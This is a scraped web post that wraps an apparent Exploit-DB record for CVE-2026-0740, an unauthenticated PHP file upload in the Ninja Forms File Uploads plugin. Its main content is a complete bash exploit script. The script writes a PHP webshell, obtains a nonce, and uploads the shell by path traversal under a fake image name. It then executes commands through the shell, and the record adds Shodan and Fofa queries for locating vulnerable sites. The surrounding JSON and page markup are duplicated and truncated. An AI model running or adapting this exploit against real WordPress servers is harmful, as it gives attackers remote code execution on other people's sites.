{“lastseen”:”2026-05-13T13:44:39″,”description”:”Exploit Title: Ninja Forms Uploads – Unauthenticated PHP File Upload Date: 2026-04-09 Exploit Author: S\u00e9lim Lanouar @whattheslime Vendor Homepage: https:\/\/ninjaforms.com\/ Software Link: https:\/\/ninjaforms.com\/extensions\/file-uploads\/ Version: 3.3.24…”,”published”:”2026-05-13T00:00:00″,”modified”:”2026-05-13T00:00:00″,”type”:”exploitdb”,”title”:”Ninja Forms Uploads – Unauthenticated PHP File Upload”,”source”:””,”references”:””,”id”:”EDB-ID:52560″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-0740″],”sourceData”:”# Exploit Title: Ninja Forms Uploads – Unauthenticated PHP File Upload\\r\\n# Date: 2026-04-09\\r\\n# Exploit Author: S\u00e9lim Lanouar (@whattheslime)\\r\\n# Vendor Homepage: https:\/\/ninjaforms.com\/\\r\\n# Software Link: https:\/\/ninjaforms.com\/extensions\/file-uploads\/\\r\\n# Version: 3.3.24\\r\\n# Tested on: WordPress (6.9.3) on Apache and Nginx servers\\r\\n# CVE: CVE-2026-0740\\r\\n# Fofa Query: body=\\”nfpluginsettings.js?ver=\\”\\r\\n# Shodan Query: http.html:\\”nfpluginsettings.js?ver=\\”\\r\\n# =============================================================================\\r\\n\\r\\nif [ \\”$#\\” -ne 1 ]; then\\r\\n echo \\”Usage: $0 \\u003ctarget_url\\u003e\\”\\r\\n exit 1\\r\\nfi\\r\\n\\r\\ntarget=$1\\r\\n\\r\\nfield_id=$(head \/dev\/urandom | tr -dc ‘1-9’ | head -c 16 ; echo)\\r\\nfile_name=webshell.php\\r\\necho \\”[-] Writing webshell in \/tmp\/$file_name…\\”\\r\\necho ‘\\u003c?php system($_GET[\\”cmd\\”]); ?\\u003e’ \\u003e \/tmp\/$file_name\\r\\n\\r\\necho \\”[-] Fetching nonce for random field_id $field_id…\\”\\r\\nnonce=$(curl -s -X POST \\”$target\/wp-admin\/admin-ajax.php\\” \\\\\\r\\n -d \\”action=nf_fu_get_new_nonce\\u0026field_id=$field_id\\” | jq -r ‘.data.nonce’)\\r\\necho \\”[+] Got nf_fu_upload nonce: $nonce\\”\\r\\n\\r\\necho \\”[-] Uploading webshell…\\”\\r\\nresponse=$(curl -ks -X POST \\”$target\/wp-admin\/admin-ajax.php\\” \\\\\\r\\n -F \\”action=nf_fu_upload\\” \\\\\\r\\n -F \\”nonce=$nonce\\” \\\\\\r\\n -F \\”form_id=$field_id\\” \\\\\\r\\n -F \\”field_id=$field_id\\” \\\\\\r\\n -F \\”image_jpg=..\/..\/..\/$file_name\\” \\\\\\r\\n -F \\”files-$field_id=@\/tmp\/$file_name;filename=image.jpg;type=image\/jpeg\\”)\\r\\necho \\”[+] Upload response: $response\\”\\r\\n\\r\\ncommand=\\”curl -ks ‘$target\/wp-content\/$file_name?cmd=id’\\”\\r\\necho \\”[-] Executing the ‘id’ command via the uploaded webshell: $command\\”\\r\\nresult=$(eval $command)\\r\\necho \\”[+] Command output: $result\\””,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52560″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52560″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-13T13:44:39″,”description”:”Exploit Title: Ninja Forms Uploads – Unauthenticated PHP File Upload Date: 2026-04-09 Exploit Author: S\u00e9lim Lanouar @whattheslime Vendor Homepage: https:\/\/ninjaforms.com\/ Software Link: https:\/\/ninjaforms.com\/extensions\/file-uploads\/ Version: 3.3.24…”,”published”:”2026-05-13T00:00:00″,”modified”:”2026-05-13T00:00:00″,”type”:”exploitdb”,”title”:”Ninja…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-54041","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n